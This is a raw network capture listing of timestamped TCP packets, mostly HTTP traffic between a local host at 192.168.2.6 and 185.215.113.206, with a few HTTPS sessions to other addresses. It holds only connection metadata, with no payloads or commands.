Nov 23, 2024 09:16:58.543380976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.543437004 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.543481112 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.544455051 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.544498920 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.544569016 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.544617891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.545519114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.545563936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.545625925 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.545665979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.546575069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.546638966 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.546686888 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.546725988 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.547681093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.547724962 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.547787905 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.547825098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.548717022 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.548762083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.548835039 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.548935890 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.550005913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.550081015 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.550091028 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.550127029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.550924063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.550987005 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.551048994 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.551172972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.551994085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.552040100 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.552084923 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.552167892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.553076029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.553121090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.553183079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.553231955 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.554264069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.554306984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.554532051 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.554572105 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.555252075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.555293083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.555465937 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.555507898 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.556330919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.556461096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.556467056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.556495905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.557429075 CET	443	49901	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:58.557648897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.557693005 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.557719946 CET	49901	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:58.557733059 CET	443	49901	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:58.557760954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.557807922 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.558079958 CET	443	49901	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:58.558387041 CET	49901	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:58.558459997 CET	443	49901	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:58.558644056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.558693886 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.558814049 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.558898926 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.559554100 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.559600115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.610733986 CET	49901	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:58.642136097 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.642169952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.642211914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.642242908 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.642323017 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.642394066 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.642458916 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.642680883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.642724037 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.642770052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.642811060 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.642813921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.642829895 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.642848015 CET	49897	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.642853975 CET	443	49897	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.643754959 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.643814087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.643858910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.643899918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.644826889 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.644881010 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.645180941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.645236969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.645243883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.645282984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.646282911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.646357059 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.646393061 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.646433115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.647280931 CET	49908	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.647316933 CET	443	49908	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.647381067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.647452116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.647456884 CET	49908	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.647484064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.647501945 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.647727966 CET	49908	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.647741079 CET	443	49908	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.648406982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.648621082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.711148977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.711218119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.711286068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.711324930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.711678982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.711738110 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.711821079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.711889982 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.712827921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.712886095 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.712908030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.712946892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.713846922 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.713964939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.714008093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.714931011 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.715019941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.715050936 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.715087891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.716029882 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.716108084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.716166019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.717120886 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.717221022 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.717241049 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.717283964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.718193054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.718241930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.718295097 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.718487024 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.718549013 CET	443	49898	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.718606949 CET	443	49898	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.718774080 CET	49898	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.718811989 CET	49898	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.718811989 CET	49898	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.718830109 CET	443	49898	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.718839884 CET	443	49898	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.719254971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.719309092 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.719558001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.719645023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.720345020 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.720397949 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.720459938 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.720501900 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.721447945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.721522093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.721551895 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.721595049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.721940994 CET	49909	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.721980095 CET	443	49909	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.722062111 CET	49909	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.722235918 CET	49909	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.722250938 CET	443	49909	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.722510099 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.722635031 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.722686052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.723599911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.723644018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.723705053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.723751068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.724695921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.724744081 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.724798918 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.724860907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.725773096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.725826025 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.725883961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.725930929 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.726914883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.726974964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.727101088 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.727155924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.727973938 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.728020906 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.728136063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.728183985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.729074001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.729130030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.729150057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.729190111 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.730125904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.730179071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.730212927 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.730254889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.731189013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.731235981 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.731292963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.731331110 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.732356071 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.732419968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.732425928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.732460022 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.733414888 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.733506918 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.733560085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.734486103 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.734536886 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.734625101 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.734666109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.735554934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.735610962 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.735656023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.735702991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.736643076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.736711025 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.736752987 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.736797094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.737735987 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.737786055 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.737862110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.738076925 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.738773108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.738821983 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.738893032 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.738941908 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.739876032 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.739938021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.739975929 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.740060091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.740972996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.741061926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.741086006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.741103888 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.742059946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.742110968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.742161989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.742202044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.743129969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.743182898 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.743231058 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.743272066 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.744215965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.744260073 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.744316101 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.744360924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.745302916 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.745348930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.745371103 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.745429039 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.746375084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.746423006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.746469021 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.746512890 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.747456074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.747545958 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.747570038 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.747611046 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.748543978 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.748600960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.748610973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.748645067 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.749634027 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.749680042 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.749799967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.749841928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.750709057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.750763893 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.750798941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.750853062 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.751794100 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.751837969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.751878977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.751913071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.752856970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.752901077 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.753025055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.753071070 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.753982067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.754034996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.754070997 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.754116058 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.755059004 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.755112886 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.755158901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.755201101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.756128073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.756172895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.756241083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.756282091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.757266998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.757364988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.757411003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.758332014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.758377075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.758413076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.758460045 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.759381056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.759423971 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.759481907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.759545088 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.760478973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.760561943 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.824860096 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.824928999 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.825144053 CET	49900	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.825186014 CET	49900	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.825196028 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.825212002 CET	49900	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.825217962 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.828067064 CET	49910	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.828110933 CET	443	49910	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.828174114 CET	49910	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.828342915 CET	49910	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.828357935 CET	443	49910	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.843339920 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.843399048 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.843460083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.843612909 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.843899965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.843943119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.843997955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.844046116 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.844983101 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.845027924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.845093966 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.845295906 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.846038103 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.846077919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.846390963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.846441031 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.846457958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.846556902 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.847516060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.847568035 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.847645998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.847701073 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.848582029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.848650932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.848699093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.849699020 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.849742889 CET	49816	80	192.168.2.6	185.215.113.206
